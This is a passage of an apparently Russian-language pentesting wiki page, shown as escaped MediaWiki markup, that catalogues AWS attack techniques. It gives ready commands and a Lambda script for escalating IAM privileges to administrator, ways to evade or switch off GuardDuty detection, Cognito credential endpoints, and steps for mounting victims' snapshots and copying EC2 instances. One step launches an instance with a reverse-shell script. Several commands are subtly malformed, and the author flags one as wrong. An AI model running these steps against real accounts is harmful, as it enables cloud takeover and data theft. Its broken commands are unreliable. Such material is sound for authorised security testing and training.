aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
